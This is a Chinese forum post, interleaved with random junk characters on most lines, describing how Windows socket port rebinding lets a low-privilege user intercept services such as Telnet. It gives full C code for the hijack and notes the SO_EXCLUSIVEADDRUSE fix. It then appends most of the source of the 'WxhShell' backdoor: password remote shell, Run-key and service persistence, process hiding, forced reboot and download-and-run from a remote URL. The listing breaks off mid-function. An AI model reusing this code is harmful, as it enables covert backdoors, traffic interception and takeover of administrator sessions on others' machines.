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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ed ,D8ND  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #2EI\E&$  
m:/ wG& !  
  saddr.sin_family = AF_INET; {Pc<u gfl  
6l4mS~/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]| +<P-  
91xB9k1zO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n2I V2^ "  
;j)FnY=:-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4~N[%>zJ  
C|o`k9I#  
  这意味着什么?意味着可以进行如下的攻击: tT79 p.z B  
]Qe{e3p;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b@2J]Ay E*  
jvQ*t_L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {pHM},WJ  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l}lIi8  
6}KZp~s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '`Wwt.A  
Y}vr>\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E{n:J3_X^d  
u SR~@Lj ~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NoJ`6MB  
NmSo4Dg`U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &c*^VL\  
XZ5 /=z  
  #include wX*K]VMn  
  #include :,DM*zBV p  
  #include 7H|$4;X^  
  #include    5Fz.Y}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =lu/9 i6  
  int main() @_LN3zP  
  { g=e71DXG2  
  WORD wVersionRequested; %:2+ o'  
  DWORD ret; _{ZqO;[u  
  WSADATA wsaData; PClMQL#  
  BOOL val; Zt3)]sB  
  SOCKADDR_IN saddr; nQ/E5y  
  SOCKADDR_IN scaddr; 25&J7\P*  
  int err; |eWjYGwJa  
  SOCKET s; l#}.^71+  
  SOCKET sc; SC- $B  
  int caddsize; UDL RCS8i  
  HANDLE mt; !S_^94b@  
  DWORD tid;   Q8_ d)t|  
  wVersionRequested = MAKEWORD( 2, 2 ); wGZR31  
  err = WSAStartup( wVersionRequested, &wsaData ); \{EpduwZ  
  if ( err != 0 ) { "hy.GWF|*  
  printf("error!WSAStartup failed!\n"); 0pSmj2/,.  
  return -1; STJJU]H  
  } 5j-]EJb  
  saddr.sin_family = AF_INET;  fu9Cx  
   Glpe/At  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 np4+"  
q@jq0D)g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k`x=D5s\  
  saddr.sin_port = htons(23); Y OJ6 w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x1BobhU~Zl  
  { [S@}T zE  
  printf("error!socket failed!\n"); 0{j&6I2  
  return -1; "t0kAG  
  } yA3wtm/?  
  val = TRUE; 8Y#\xzod  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DU=dLE6-P;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h48SItY  
  { E!O\87[  
  printf("error!setsockopt failed!\n"); 36n>jS&  
  return -1; LE%7DW(  
  } ez9 q7SpA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h?$T!D>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3<=G?of  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /By)"  
M1%Dg'}G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _A0mxq  
  { 0n/gd"M  
  ret=GetLastError(); UG<79"\i  
  printf("error!bind failed!\n");  ]@M5&  
  return -1; /o2P+Xr8"  
  } 8x[YZ@iM-  
  listen(s,2); /NFz4h =>  
  while(1) bTSL<"(]N  
  { c1xrn4f@a  
  caddsize = sizeof(scaddr); *;XWLd#  
  //接受连接请求 Y+3!f#exm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w2xG_q  
  if(sc!=INVALID_SOCKET) u@3y&b  
  { A?*o0I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o5n^!gi4  
  if(mt==NULL) v-! u\  
  { {bPV)RL:  
  printf("Thread Creat Failed!\n"); HQ9X7[3  
  break; W<<9y  
  } ~RD+.A  
  } ]1gx#y 2  
  CloseHandle(mt); YKa0H%B(  
  } kHv[H]+v  
  closesocket(s); "p3_y`h6+  
  WSACleanup(); 9TAj) {U%'  
  return 0; SI6B#u-i  
  }    P5gN#G  
  DWORD WINAPI ClientThread(LPVOID lpParam) [+Y{%U  
  { DE IB!n   
  SOCKET ss = (SOCKET)lpParam; k;5Pom  
  SOCKET sc; o-cAG{.WC  
  unsigned char buf[4096]; g_Im;1$  
  SOCKADDR_IN saddr; J/6`oh?,Q  
  long num; |D.O6?v@  
  DWORD val; 178Mb\8  
  DWORD ret; 9RwawTM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /(8a~f&%r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Krs2Gre}  
  saddr.sin_family = AF_INET; ++Ww88820  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e2-Dq]p  
  saddr.sin_port = htons(23); x^*1gv $o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pN&c(=If  
  { m~'? /!!  
  printf("error!socket failed!\n"); Yh)Isg|0>  
  return -1; "<i SZ  
  } CD0VfA>Z  
  val = 100; )R sM!}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xe+,wW3YF  
  { )J(q49  
  ret = GetLastError(); .4l/_4,s_  
  return -1; }!TL2er_  
  } Bg8#qv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z 5]bia,  
  { $Q+s/4\  
  ret = GetLastError(); wLV~F[:  
  return -1; ~l~Tk6EM  
  } fj,m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KL'zXkS  
  { 7P7b8 ]  
  printf("error!socket connect failed!\n"); g-vg6@6  
  closesocket(sc); KTEZ4K^o=  
  closesocket(ss); eb|i 3.  
  return -1; $c&0F,   
  } a8AYcE b  
  while(1) A-ZmG7xk  
  { B ZMu[M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yGp z,X4x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y]e>E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =xianQ<lK  
  num = recv(ss,buf,4096,0); !Ss HAE|  
  if(num>0) OU7 %V)X5  
  send(sc,buf,num,0); y}08~L?2  
  else if(num==0) 1t9.fEmT  
  break; l|V;Ys5f  
  num = recv(sc,buf,4096,0); ,LOQDIyn  
  if(num>0) N]YtLa,t  
  send(ss,buf,num,0); Jg$xO@.  
  else if(num==0) _;RVe"tR#  
  break; {I{:GcS  
  } $ex!!rqN|  
  closesocket(ss); X%9*O[6{  
  closesocket(sc); 4F MAz^  
  return 0 ; Br d,Eg  
  } DDd|T;8  
 StYzGJ  
a1N!mQ^  
========================================================== Wd(86idnc  
AAUyy :  
下边附上一个代码,,WXhSHELL efz&@|KR  
G&f7+e  
========================================================== YH:8<O,{-  
FnHi(S|A  
#include "stdafx.h" $A<ESfrs  
AK u_~bTk  
#include <stdio.h> )fU(AXSP  
#include <string.h> &GWkq>  
#include <windows.h> 'b"TH^\  
#include <winsock2.h> P(omfD4  
#include <winsvc.h> `xKFqx:e  
#include <urlmon.h> )yxT+g2!  
IJU0[EA]F  
#pragma comment (lib, "Ws2_32.lib") H]#Rg`~n  
#pragma comment (lib, "urlmon.lib") l)+:4N?iVv  
(S^ck%]]a!  
#define MAX_USER   100 // 最大客户端连接数 EqM;LgE=  
#define BUF_SOCK   200 // sock buffer v@EQ^C2.&  
#define KEY_BUFF   255 // 输入 buffer yy(A(}  
bb=uF1  
#define REBOOT     0   // 重启 dX )W0  
#define SHUTDOWN   1   // 关机 /2NSZO  
s.jO<{  
#define DEF_PORT   5000 // 监听端口 ,7d|O}B  
G\iyJSj[P  
#define REG_LEN     16   // 注册表键长度 G { mC7@  
#define SVC_LEN     80   // NT服务名长度 rU#li0 >  
mxqG-*ch-  
// 从dll定义API ?n'O Fpd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8}BBOD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PoD^`()FR{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XY+y}D %  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X,v4d~>]  
RB3 zHk%  
// wxhshell配置信息 yi!`V.  
struct WSCFG { "2Op[~V  
  int ws_port;         // 监听端口 p/]s)uYp$  
  char ws_passstr[REG_LEN]; // 口令 %"Db?  
  int ws_autoins;       // 安装标记, 1=yes 0=no So4nJ><p  
  char ws_regname[REG_LEN]; // 注册表键名 s'_,:R\VM>  
  char ws_svcname[REG_LEN]; // 服务名 ms~8QL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )fh0&Y; R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &:#m&,tQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .]76!(fWZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =ak7ld A=2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9XV^z*E(J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (a{ZJI8_  
>xd<YwXZ  
}; =l`OHTg  
W8aU "_  
// default Wxhshell configuration xRX>|S  
struct WSCFG wscfg={DEF_PORT, >#N[GrJAE  
    "xuhuanlingzhe", YL^Z4: p  
    1, XizPMN5a  
    "Wxhshell", V,LVB_6  
    "Wxhshell", m4/}Jx[  
            "WxhShell Service", p#H]\ P'  
    "Wrsky Windows CmdShell Service", QB1M3b  
    "Please Input Your Password: ", Q_}/ Pn$1  
  1, ; Zq/eiB  
  "http://www.wrsky.com/wxhshell.exe", ?y-s20Kd  
  "Wxhshell.exe" A 0#Y, 1  
    }; MD'>jO;n  
YU\Gj S~>&  
// 消息定义模块 &:!ij  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?q%b*Ek  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C+l?k2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HZ\k-!2  
char *msg_ws_ext="\n\rExit."; IL2r9x%  
char *msg_ws_end="\n\rQuit."; zk>h u<_  
char *msg_ws_boot="\n\rReboot..."; |< N frz  
char *msg_ws_poff="\n\rShutdown..."; NfF~dK|  
char *msg_ws_down="\n\rSave to "; elbG\qXBp  
d=e{]MG(  
char *msg_ws_err="\n\rErr!"; .C5@QKU  
char *msg_ws_ok="\n\rOK!"; a c6*v49  
~Fx&)kegTo  
char ExeFile[MAX_PATH]; iVeQ]k(u  
int nUser = 0; 4r*Pa(;y  
HANDLE handles[MAX_USER]; 6ojo##j  
int OsIsNt; W/v|8-gcK  
`s}BXKIv}  
SERVICE_STATUS       serviceStatus; "T*I|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F!~l MpuE  
-2lRia  
// 函数声明 *ro.mQ_  
int Install(void); 3A R%&:-  
int Uninstall(void); BLW]|p|1:  
int DownloadFile(char *sURL, SOCKET wsh); QGPR.<D)B  
int Boot(int flag); 5<N~3 1z  
void HideProc(void); C ktX0  
int GetOsVer(void); .;slrg(5F  
int Wxhshell(SOCKET wsl); *g$agyOfh  
void TalkWithClient(void *cs); X')S;KW  
int CmdShell(SOCKET sock); 'rx?hL3VW  
int StartFromService(void); 8vJdf9pB*  
int StartWxhshell(LPSTR lpCmdLine); m"-G6BKS  
aQh?}=da  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l;5`0N?QO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }jcIDiSu  
<bX 1,}?  
// 数据结构和表定义 n2E4!L|q  
SERVICE_TABLE_ENTRY DispatchTable[] = MF|*AB|E  
{ %O/d4  
{wscfg.ws_svcname, NTServiceMain}, 5&qY3@I7l  
{NULL, NULL} 3M$X:$b  
}; X2P``YFV{  
6UI>GQ  
// 自我安装 B"[{]GP BY  
int Install(void) bm6hZA|  
{ Bbs5f@E  
  char svExeFile[MAX_PATH]; f+^c@0que  
  HKEY key; xOM_R2Md  
  strcpy(svExeFile,ExeFile); .Qk{5=l6P  
`]hCUaV   
// 如果是win9x系统,修改注册表设为自启动 =phiD&=  
if(!OsIsNt) { `5<1EGJsD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %1Jd ^[W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uWrFunh%  
  RegCloseKey(key); }s6G!v^2""  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p5`ZyD ]+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +3HPA#A  
  RegCloseKey(key); Z~R dFC  
  return 0; Mz}i[|U\  
    } +_-Y`O!Q  
  } .xnQd^qoac  
} Q;@X2 JSp  
else { :}y| 4*z  
[,nfAY  
// 如果是NT以上系统,安装为系统服务 J=V yyUB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kdd7X bw-  
if (schSCManager!=0) kDg{ >mf  
{ X}?ESjZJ  
  SC_HANDLE schService = CreateService IrUi E q  
  ( {DS\!0T-X  
  schSCManager, @?vLAsp\  
  wscfg.ws_svcname, 'ucGt  
  wscfg.ws_svcdisp, h=Oh9zsz8  
  SERVICE_ALL_ACCESS, W60Q3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cb4b, Ri  
  SERVICE_AUTO_START, @92gb$xT  
  SERVICE_ERROR_NORMAL, uc\.oG;~q  
  svExeFile, Hp*gv/0  
  NULL, `%%?zgY  
  NULL, v0u\xX[H;  
  NULL, _&K\D p&@  
  NULL, gTuX *7w  
  NULL ^^'[%ok  
  ); 9Yd-m  
  if (schService!=0) 9yDFHz w  
  { p/4S$ j#Tn  
  CloseServiceHandle(schService); BM.-X7)  
  CloseServiceHandle(schSCManager); :;<\5Oy ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j]#wrm  
  strcat(svExeFile,wscfg.ws_svcname); 5(KG=EHj_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KKV)DExv?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f{f_g8f[  
  RegCloseKey(key); !HvGlj@(|  
  return 0; CR.bMF}  
    } (}6wAfGo  
  } ~X[S<Gi#  
  CloseServiceHandle(schSCManager); jJ*=Ghu-  
} ]|;7R^o3|  
} phe"JNML  
"zXGp7Q'#  
return 1; Ys)+9yPPn  
} m^5s >hUl  
*|@+rbjVC  
// 自我卸载 |zT%$  
int Uninstall(void) \!m!ibr  
{ BjwMb&a;  
  HKEY key; ?C FS}v  
TJE% U0Ln  
if(!OsIsNt) { I>d I[U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wf_CR(  
  RegDeleteValue(key,wscfg.ws_regname); |}%(6<  
  RegCloseKey(key); v?FhG b~1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m&,bC)}  
  RegDeleteValue(key,wscfg.ws_regname); VVgsLQd  
  RegCloseKey(key); yW[L,N7d  
  return 0; Jm%mm SYK  
  } m\/>C|f\  
} `3]Rg0g&Xe  
} tx gvVQ  
else { $R8>u#K!  
@pTD{OW?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SHytyd  
if (schSCManager!=0) O{Dm;@J-aM  
{ *O!T!J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jk%'mEGE  
  if (schService!=0) (21']x  
  { o; 6fvn  
  if(DeleteService(schService)!=0) { ~v^%ze  
  CloseServiceHandle(schService); keqr%:E8  
  CloseServiceHandle(schSCManager); =rtS#u Y  
  return 0; yi sF5`+  
  }  4c  
  CloseServiceHandle(schService); #_on{I  
  } ]sf2"~v  
  CloseServiceHandle(schSCManager); zoJ_=- *s  
} Oi6f8*,  
} P= &'wblm?  
: x>I- 3G  
return 1; P"oYC$  
} f<'n5}{RO0  
z|Hy>|+  
// 从指定url下载文件 m*\B2\2gJ  
int DownloadFile(char *sURL, SOCKET wsh) 44Q6vb?  
{ bcUC4g\9N  
  HRESULT hr; qPL^zM+  
char seps[]= "/"; "w(N62z/  
char *token; 83\ o (  
char *file; @X3 gBGY)  
char myURL[MAX_PATH];  Y>xi|TWN  
char myFILE[MAX_PATH]; nXv 7OEpTx  
XulaPq  
strcpy(myURL,sURL); aytq4Ts  
  token=strtok(myURL,seps); X!HDj<  
  while(token!=NULL) )!'Fa_$ e  
  { R5m`;hF  
    file=token; NG!>7$@RV  
  token=strtok(NULL,seps); tZdwy>;  
  } /#:Rd^  
Lhl$w'r  
GetCurrentDirectory(MAX_PATH,myFILE); 3Gc ,I:\  
strcat(myFILE, "\\"); $o/0A  
strcat(myFILE, file); :D<:N*9i  
  send(wsh,myFILE,strlen(myFILE),0); Oqd"0Qt-  
send(wsh,"...",3,0); HyZVr2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LDT'FwMjy  
  if(hr==S_OK) z0\;m{TH  
return 0; GS$ZvO  
else c-[Q,c  
return 1; aQl?d<|+lk  
7(yXsVq  
} }f<fgY  
Uuwq7oFub  
// 系统电源模块 +vSCR (n  
int Boot(int flag) |h#DL$  
{ JZs|~@  
  HANDLE hToken; %KbBH:z05  
  TOKEN_PRIVILEGES tkp; t-.2 +6"\  
qf_h b  
  if(OsIsNt) { *37LN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YRg=yVo 2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V}vl2o  
    tkp.PrivilegeCount = 1; k7:GS,7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +^/Nil  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R88(dEK  
if(flag==REBOOT) { ,ma Aw}=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0C lX  
  return 0; uAW*5 `[  
} u5u0*c  
else { ?l)}E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^Nd|+}  
  return 0; FBR$,j;Y  
} 1<XiD 3H;  
  } hEyX~f  
  else { l-DGy#h+z  
if(flag==REBOOT) { WE+sFaKq-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2(+RIu0d  
  return 0; ]&3s6{R  
} EpFIKV!  
else { ;J,,f1Vw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D=i0e8D!+  
  return 0; d[s;a.  
} G;PbTsW  
} {{^Mr)]5K  
Ma`   
return 1; aHBByH  
} hN>('S-cq  
^BF@j4*~  
// win9x进程隐藏模块 wc<2Uc  
void HideProc(void) 3Ew"[FUs  
{ a -z23$3  
7i-W*Mb:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q#mFN/.(+  
  if ( hKernel != NULL ) gE-w]/1zD5  
  { [JX}1%NA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M9uH&CD6U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ef;& Y>/  
    FreeLibrary(hKernel); 'DL;c@}37  
  } *eJhd w*  
oyKt({  
return; SX_kr^#  
} <6d{k[7fz)  
+t7c&td\  
// 获取操作系统版本 n.Ur-ot  
int GetOsVer(void) 4=?Ok":8  
{ NDs]}5#   
  OSVERSIONINFO winfo; /{eih]`x(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .LeF|EQU\@  
  GetVersionEx(&winfo); 9G`FY:(K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7$q2v=tH_  
  return 1; tF#b&za  
  else s8f3i\1  
  return 0; ~aauW?  
} h 7(H%(^_  
]X >QLD0W  
// 客户端句柄模块 +(QMy&DtS  
int Wxhshell(SOCKET wsl) f{+LCMbC6  
{ >/kPnpJ  
  SOCKET wsh; H 'WFORso[  
  struct sockaddr_in client; g6[/F-3Qlf  
  DWORD myID; 9a"Y,1  
0I(GB;E  
  while(nUser<MAX_USER) oP|pOs\$p  
{ -7Aw s)  
  int nSize=sizeof(client); a0V8L+v(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'b=eC  
  if(wsh==INVALID_SOCKET) return 1; < tu[cA>  
'?vgp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /JK-}E  
if(handles[nUser]==0) /VhE<}OtH  
  closesocket(wsh); ;EE&~&*w  
else wB1|r{  
  nUser++; U&Sbm~Qi  
  } ^B&ahk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^ RcIE (  
ReHd~G9  
  return 0; v)C:E9!|  
} Dho[{xJ46  
S2At$47v  
// 关闭 socket YaY;o^11/  
void CloseIt(SOCKET wsh) !7Yt`l$$z  
{ lt2Nwt0bv  
closesocket(wsh); Y1Gg (z  
nUser--; !Z+*",]_  
ExitThread(0); /C,>  
} ard3yNQt  
'n>3`1E,  
// 客户端请求句柄 "dLMBY~  
void TalkWithClient(void *cs) lkSz7dr@  
{ ,/w852|ub  
[F AOp@7W  
  SOCKET wsh=(SOCKET)cs; u]]5p[ |S  
  char pwd[SVC_LEN]; [)J49  
  char cmd[KEY_BUFF]; Vlp*'2VO  
char chr[1]; L?D~~Jb  
int i,j; iZkW+5(  
~-`BSR  
  while (nUser < MAX_USER) { r 0?hX  
p~d)2TC4#  
if(wscfg.ws_passstr) { WDH[kJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u':0"5}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z!1/_]WJ,  
  //ZeroMemory(pwd,KEY_BUFF); E-tNB{r@  
      i=0; -}N\REXE  
  while(i<SVC_LEN) { q~g&hR}K  
[! dnm1   
  // 设置超时 TReM8Vd  
  fd_set FdRead; Z_^Kl76D  
  struct timeval TimeOut; Mc$v~|i6  
  FD_ZERO(&FdRead); \MFWK#W  
  FD_SET(wsh,&FdRead); :)J~FVLy  
  TimeOut.tv_sec=8; } ^GV(]K  
  TimeOut.tv_usec=0; Z#TgFQ3u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @k:f}-t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1 <qVN'[  
xo)?XFM2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1n"+~N^\  
  pwd=chr[0]; .2{C29g  
  if(chr[0]==0xd || chr[0]==0xa) { V=l Q}sBY  
  pwd=0; Lm*LJ_+ B  
  break; 53u.p c  
  } `~aLSpB65  
  i++;  CK!pH{n+  
    } !irX[,e  
/m{?o  
  // 如果是非法用户,关闭 socket C_^R_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?/l}(t$H  
} iz  GaV[  
Y(I*%=:$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |H+k?C-w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZAo)_za&mH  
Y%?!AmER  
while(1) { vu.S>2Wv  
s!o<Pd yJK  
  ZeroMemory(cmd,KEY_BUFF); xBI"{nGoN  
8#Z\}gGz  
      // 自动支持客户端 telnet标准   %dk$K!5D0  
  j=0; ^qzT5W\@  
  while(j<KEY_BUFF) { MlC-Aad(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l~6SR  
  cmd[j]=chr[0]; e2h k  
  if(chr[0]==0xa || chr[0]==0xd) { %yuIXOJ  
  cmd[j]=0; W}e[.iX;  
  break; #;*ai\6>vD  
  } A^Hp#b @  
  j++; ry'^1~,  
    } &A5[C{x  
=<FZ{4  
  // 下载文件 3d)+44G_)  
  if(strstr(cmd,"http://")) { c"sw@<HG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _OxnHf:|  
  if(DownloadFile(cmd,wsh)) Dgq[g_+l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -_4jJxh=OB  
  else e~ 78'UH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \$HB~u%dr  
  } !{~7)iq  
  else { P2:Q+j:PX  
X"khuyT_  
    switch(cmd[0]) { \q`+  
  ?xTeio44  
  // 帮助 IO&#)Ft  
  case '?': { k2tX$\E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -WW!V(~p  
    break; ]'ApOp  
  } ,cO)Sxj  
  // 安装 'a{5}8+8  
  case 'i': { em9]WSfZ@`  
    if(Install()) Zn 5m.=z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kFa?q} 47  
    else VX>t!JP p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z%n.:I<%ZV  
    break; &qI5*aQ8T  
    } oJp_c  
  // 卸载 .HyiPx3^  
  case 'r': { O7CYpn4<7  
    if(Uninstall()) ']6#7NU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !RUo:b+  
    else \ -iUuHP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a3 _0F@I  
    break; g$T_yT''  
    } 1]3bx N  
  // 显示 wxhshell 所在路径  { e  
  case 'p': { 4a\+o]  
    char svExeFile[MAX_PATH]; ]jY)M<:J4  
    strcpy(svExeFile,"\n\r"); y $ DB  
      strcat(svExeFile,ExeFile); |b;M5w?  
        send(wsh,svExeFile,strlen(svExeFile),0); ;o@`l$O   
    break; H=BR -  
    }  iIEIGQx  
  // 重启 ~ V- o{IA  
  case 'b': { | v'5*n9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +p}Xmn  
    if(Boot(REBOOT)) oJu4vGy0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r~Ubgd ]U  
    else { z4fK{S  
    closesocket(wsh); ]:#$6D"  
    ExitThread(0); wkpVX*DfRE  
    } Mc3h  R0  
    break; .p0n\ $r  
    } 5F+ f'~  
  // 关机 !<PTsk F  
  case 'd': { ZXDMbMD  
